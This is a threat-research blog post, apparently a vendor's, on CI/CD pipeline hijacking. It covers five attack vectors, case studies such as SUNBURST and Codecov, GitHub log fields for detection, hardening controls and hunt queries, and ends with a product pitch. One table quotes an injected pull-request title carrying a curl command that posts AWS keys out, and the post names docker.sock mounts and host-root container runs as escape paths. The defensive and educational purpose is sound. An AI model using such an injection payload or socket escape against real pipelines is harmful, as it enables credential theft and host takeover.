Categories
CI/CD Pipeline Hijacking: 5 Attack Vectors & Threat Hunting
Published on August 6, 2026 | Last updated on August 6, 2026 | 7 min read
When the Engine Becomes the Weapon: CI/CD Pipeline Hijacking
Deconstructing automated build runner exploitation, real-world case studies, hands-on lab telemetry, and actionable threat hunt leads across all 5 attack vectors.
Executive Summary
Part 1 covered supply chain concepts; Part 2 analyzed npm dependency poisoning. Part 3 targets the build engine itself: CI/CD runners, GitHub Actions workflows, and build-time artifact tampering.
Modern software relies on automated cloud pipelines (GitHub Actions, GitLab CI, Jenkins) to build and deploy releases. Because build runners hold high-privilege cloud IAM keys, deployment SSH tokens, and publishing credentials, attackers target the CI/CD pipeline to steal secrets, backdoor releases, and compromise downstream targets.
Introduction: From Source Code to Build Engines
In Part 1 of our Software Supply Chain series, we established that modern application security is no longer confined to the code written in-house—it encompasses every third-party component, registry, and dependency that touches the build process. In Part 2, we examined how threat actors compromise public package registries like npm through typosquatting, brandjacking, and maintainer account takeovers to gain initial access to developer workstations.
However, as enterprise engineering teams harden local developer machines and implement automated dependency scanning, adversaries have shifted their focus higher up the supply chain pyramid: directly targeting the automated CI/CD build infrastructure itself.
Continuous Integration and Continuous Delivery (CI/CD) pipelines serve as the automated engine of modern DevOps. Every git push or pull request triggers cloud-hosted or self-hosted runners that compile source code, execute automated unit tests, build container images, and publish deployment artifacts. To perform these operations, build runners are entrusted with the most sensitive secrets in the organization—including production cloud IAM credentials, deployment SSH keys, code-signing certificates, and package registry tokens.
Despite possessing keys to the kingdom, CI/CD runners routinely suffer from a major security asymmetry: while production runtime cloud environments are heavily monitored by modern security tools, build runners are ephemeral, short-lived, and frequently unmonitored. This brief deconstructs how adversaries weaponize CI/CD workflows, presents hands-on lab attack simulations with verified telemetry, and arms threat hunting teams with behavioral detection logic.
The CI/CD Automation Dilemma & GitHub Log Telemetry
- Workflow Trigger Risks: Triggers like pull_request_target execute in the context of the base branch with repository secret access. GitHub Workflow Run Logs (REST API field: event: "pull_request_target" or context field: github.event_name: "pull_request_target") capture external PR triggers before code executes.
- Mutable Action Tag Hijacking: Unpinned marketplace dependencies (uses: author/action@v1) are vulnerable to force-pushed git tags. GitHub Audit Logs (action: "git.push" / action: "git.create_ref" with forced: true and ref: "refs/tags/v1") track tag mutations across repositories.
- Privileged Runner Container Configurations: Misconfigured workflows mounting root Docker sockets (/var/run/docker.sock) or running in privileged mode are audited directly through GitHub Actions Job Definition API (job.container.options).
- Secret Exfiltration & Token Theft: Ephemeral runners dumping secrets or leaking GITHUB_TOKENs are detected via GitHub REST API Audit Logs (action: "git.fetch", actor_ip, token_type: "Installation Token") through anomalous caller IPs and out-of-bounds token usage.
- Build-Time Artifact Tampering: In-memory compiler backdooring is captured at the platform level via GitHub Actions Artifact API through SHA256 digest mismatches (artifact.digest) against git source commit baselines (head_sha).
Five Pipeline Attack Vectors
|
Attack Vector |
Exploitation Mechanism |
Official GitHub Log API & Schema Field |
|
1. Workflow Expression Injection |
Injecting command separators (; curl ...) into untrusted event parameters (PR title, issue body) in inline bash blocks. |
`event`: "pull_request_target", `actor.login`, `head_repository.full_name`, `github.event.pull_request.title` |
|
2. Poisoned Marketplace Actions |
Publishing typosquatted actions or overwriting mutable tags (@v1) on compromised maintainer accounts. |
`action`: "git.push", `ref`: "refs/tags/v1", `forced`: true, `old_sha`, `new_sha` |
|
3. Runner Infrastructure Escapes |
Escaping runner containers, hijacking root Docker sockets (/var/run/docker.sock), or claiming host root permissions. |
`job.container.options`: "-v /var/run/docker.sock:/...", `job.runner_group_name` |
|
4. Secret Exfiltration & Token Theft |
Scraping environment variables or process memory to exfiltrate GITHUB_TOKEN or cloud deployment keys. |
`action`: "git.fetch" / "repo.download_zip", `token_type`: "Installation Token", `actor_ip` |
|
5. Build-Time Artifact Tampering |
SolarWinds-style malware replacing source code files in workspace memory immediately before compiler invocation. |
`artifact.digest` (SHA256 Mismatch), `artifact.name`, `workflow_run.head_sha` |
Real-World Case Studies
- SolarWinds SUNBURST: SUNSPOT malware monitored build servers and replaced source files in MSBuild memory right before compilation, backdooring DLLs for 18,000+ customers.
- Codecov Bash Uploader: Attackers modified Codecov's uploader.sh script to harvest environment variables and cloud keys across thousands of customer CI/CD pipelines.
- GitHub Actions Crypto-Miners: Automated bots submitted malicious PRs to open-source repos to run Monero miners on GitHub runners, consuming massive CPU resources.
Hands-On Lab Simulations & Official GitHub Telemetry Evidence
Lab Simulation 01 — Workflow Expression Injection
Vector 1 | CWE-94 / T1059.004 — Exploiting pull_request_target with an inline expression injection payload in PR Title to exfiltrate AWS deployment keys.
Vulnerable Workflow Snippet (.github/workflows/pr_review.yml):

Attacker PR Title Payload:

Official GitHub Workflow Run API & Context Schema:
|
Official GitHub Field Name |
Captured Event Value |
Security Significance |
|
event / github.event_name |
pull_request_target |
HIGH FIDELITY: Workflow trigger event executing in base branch context with secret access. |
|
actor.login / github.actor |
external-contributor-user |
Identifies external untrusted user submitting the malicious PR payload. |
|
head_repository.full_name |
forked-repo/app |
Forked repository source confirming unvetted external code origin. |
|
github.event.pull_request.title |
Fix bug "; curl -s -X POST -d "token=AKIA..." |
PR title payload containing injected shell command metacharacters. |
|
id (workflow_run_id) |
129847120 |
Unique GitHub Actions workflow run ID enabling instant correlation. |
Lab Simulation 02 — Poisoned Marketplace Action & Tag Hijacking
Vector 2 | CWE-829 / T1195.002 — Force-pushing mutable version tags (@v1) on compromised action repositories to execute malicious setup code
Vulnerable Workflow Importing Mutable Action Tag (.github/workflows/deploy.yml):
Official GitHub Enterprise Audit Log Schema:
|
GitHub Audit Log Schema Field |
Captured Event Value |
Security Significance |
|
action |
git.push |
HIGH FIDELITY: Git push event updating tag reference in GitHub Audit Logs. |
|
repo / repository |
marketplace-author/setup-build-env |
Target marketplace action repository. |
|
ref |
refs/tags/v1 |
Mutable version tag reference targeted for reassignment. |
|
forced |
true |
Flag confirming tag reference was force-pushed. |
|
old_sha / new_sha |
a1b2c3d4... / f9e8d7c6... |
Commit SHA shift from clean release SHA to malicious commit SHA. |
|
actor |
compromised-maintainer-account |
Account performing the force-push tag update. |
Lab Simulation 03 — Runner Infrastructure Escape & Docker Socket Abuse
Vector 3 | T1611 / T1068 — Mounting the root Docker socket (/var/run/docker.sock) in self-hosted runners to escape containers and take over host node.
Vulnerable Workflow Snippet Mounting Host Socket (.github/workflows/container_build.yml):
Official GitHub Actions Job & Step API Schema:
|
GitHub Actions Schema Field |
Captured Log Value |
Security Significance |
|
job.id |
89234710 |
Unique Actions job ID within workflow run. |
|
job.container.options |
-v /var/run/docker.sock:/var/run/docker.sock |
HIGH FIDELITY: Direct binding of host Docker socket into runner step. |
|
job.runner_group_name |
self-hosted-docker |
Self-hosted runner pool with high host network and filesystem exposure. |
|
job.steps[].name / step.number |
Execute Docker Build / Step 2 |
Job execution step metadata capturing container breakout execution. |
Lab Simulation 04 — Secret Exfiltration & Token Theft from Runner Memory
Vector 4 | T1552.001 / T1567 — Scraping runner environment secrets and exfiltrating short-lived GITHUB_TOKENs, followed by anomalous API usage.
Malicious Postinstall Script inside Compromised Build Dependency:

Official GitHub REST API Audit Log Schema (Post-Exfiltration Token Abuse):
|
GitHub API Audit Schema Field |
Captured Log Value |
Security Significance |
|
action |
git.fetch / repo.download_zip |
HIGH FIDELITY: Stolen GITHUB_TOKEN used to download private repos from external IP. |
|
token_type |
Installation Token |
Ephemeral runner installation token leaked from runner environment. |
|
actor_ip |
203.0.113.88 (Anomalous External IP) |
API request IP mismatching official GitHub Hosted Runner IP pools. |
|
user_agent |
git/2.34.1 (Custom Attacker CLI) |
Anomalous user agent consuming leaked runner installation token. |
Lab Simulation 05 — Build-Time Artifact & Source Code Tampering
Vector 5 | T1195.001 / T1036 — SUNSPOT-style build server backdooring: swapping source code files in runner memory immediately before compiler invocation without altering git.
Attacker Background Watcher Payload Running on Runner (.deps/patcher.sh):

Official GitHub Actions Artifact API Schema:
|
GitHub Artifact Schema Field |
Captured Log Value |
Security Significance |
|
workflow_run.id |
402 |
GitHub Actions release workflow run ID. |
|
workflow_run.head_sha |
e3b0c44298fc1c149afbf4c8996fb9242... |
Git commit SHA verified clean in repository history. |
|
artifact.digest |
sha256:8f9a2b1c4d3e5f6a... (HASH MISMATCH) |
ARTIFACT TAMPERING: Binary SHA256 digest mismatch against reproducible build baseline. |
|
artifact.name |
release_bin.tar.gz |
Published workflow release artifact containing tampered binary. |
Pipeline Hardening Controls
- Commit SHA Pinning: Pin third-party actions to full commit hashes (uses: action@commit-sha) instead of mutable tags (@v1).
- Least Privilege GITHUB_TOKEN: Explicitly scope workflow token permissions (permissions: contents: read).
- Isolate Insecure Triggers: Replace pull_request_target with pull_request to isolate untrusted PR code from secrets.
- OIDC Keyless Auth: Replace long-lived cloud keys in CI secrets with short-lived 15-minute OIDC cloud tokens.
- Docker Socket Hardening: Restrict socket bind mounts on self-hosted runners; use rootless Docker or Kaniko for container builds.
- Reproducible Build Auditing: Verify compiled binary SHA256 hashes against build logs and git source commit baselines.
Threat Hunter's Spotlight — 5 GitHub Log Hunt Leads
1.Workflow Expression Injection via GitHub Workflow Run Telemetry
Hypothesis: Untrusted fork pull requests trigger pull_request_target workflows, evaluating command separators in dynamically written runner scripts.
Official GitHub Log Query Logic:
- 1. Query GitHub Workflow Run logs where event == "pull_request_target" (or github.event_name == "pull_request_target").
- 2. Filter for runs where head_repository.full_name != repository.full_name AND actor.login is an external contributor.
- 3. Inspect github.event.pull_request.title or step logs for shell metacharacters (;, &&, $()).
Triage: Cross-reference github.event.pull_request.title with step execution logs in the GitHub Actions run output.
2. Poisoned Marketplace Actions & Mutable Tag Force-Pushes
Hypothesis: Threat actors force-push mutable git release tags (@v1) on third-party actions to deploy malicious build setup scripts across downstream pipelines.
Official GitHub Log Query Logic:
- 1. Query GitHub Audit Logs for events where action == "git.push" or action == "git.create_ref".
- 2. Flag events where ref matches refs/tags/* AND forced == true.
- 3. Audit workflow step execution logs for sudden new_sha shifts on mutable action tags.
Triage: Compare the step action commit SHA logged during runner action checkout with the original release SHA baseline.
3. Container Breakout & Docker Socket Abuse via Workflow Definition Audit
Hypothesis: Attackers submit workflows to self-hosted runners mounting /var/run/docker.sock to spawn privileged containers and compromise the host node.
Official GitHub Log Query Logic:
- 1. Audit workflow definition YAML commit logs where job.container.options contains -v /var/run/docker.sock or --privileged.
- 2. Query GitHub Actions job queued events where job.runner_group_name targets self-hosted runner pools.
- 3. Flag job.steps[].name containing docker run -v /:/... or chroot execution lines.
Triage: Inspect container launch options in workflow execution logs for interactive shell or host root mount requests.
4. Ephemeral Token Exfiltration & Anomalous GitHub REST API Usage
Hypothesis: Compromised build steps exfiltrate ephemeral GITHUB_TOKENs, which are subsequently used from foreign attacker infrastructure to access private repos.
Official GitHub Log Query Logic:
- 1. Query GitHub REST API Audit Logs for actions authenticated via token_type == "Installation Token".
- 2. Filter for REST API actions (git.fetch, repo.download_zip, contents.read) where actor_ip is NOT IN official GitHub Hosted Runner IP CIDR ranges.
- 3. Alert on anomalous user_agent strings consuming scoped installation tokens.
Triage: Match the timestamp of workflow_run.id with the actor_ip in GitHub REST API Audit logs.
5. Pre-Compilation Source Tampering & Release Artifact Integrity Mismatches
Hypothesis: Background runner processes tamper with source code files in workspace memory immediately before compilation, backdooring published release artifacts.
Official GitHub Log Query Logic:
- 1. Query GitHub Actions Artifact API for artifact.name and published release asset events.
- 2. Compare artifact.digest SHA256 hashes against expected reproducible build hash baselines derived from workflow_run.head_sha.
- 3. Flag workflow runs where release binary hashes deviate from verified clean test build outputs.
Triage: Re-run the build job in a clean, isolated environment to verify binary hash reproducibility against git source history.
Stop Machine-Speed Pipeline Attacks Before Secrets Leak
Short-lived build runners and stolen non-human identities operate at speeds legacy SOC workflows can't match. Netenrich eliminates operational noise and closes critical supply chain blind spots with a digital workforce of specialized AI agents.
WHAT’S NEXT IN THE SUPPLY CHAIN ATTACK SERIES
Coming Soon: Part 4 — Source Code & Software Production
Having explored Dependency Poisoning (Part 2) and CI/CD Pipeline Hijacking(Part 3), the next frontier is protecting the origin of trust itself: Source Code & Software Production.
In Part 4, we will examine how threat actors bypass developer identity controls, compromise source code repositories, tamper with commit history, and defeat modern software production safeguards.
About the Author
Netenrich Threat Research
Asritha Narina is a Senior Threat Analyst at Netenrich. She specializes in tracking emerging cyber threats, analyzing adversary behaviors, and translating complex technical data into actionable defense intelligence. She is a recognized contributor to the MITRE ATT&CK framework, specifically noted for her threat research on the Iranian threat actor Agrius.
She also explores Intelligent AI agents that can be leveraged to proactively detect, investigate, and mitigate global cyber threats at scale.
Related Articles
Subscribe for updates
The best source of information for Agentic SOC and Cyber Risk Operations best practices. Join us.



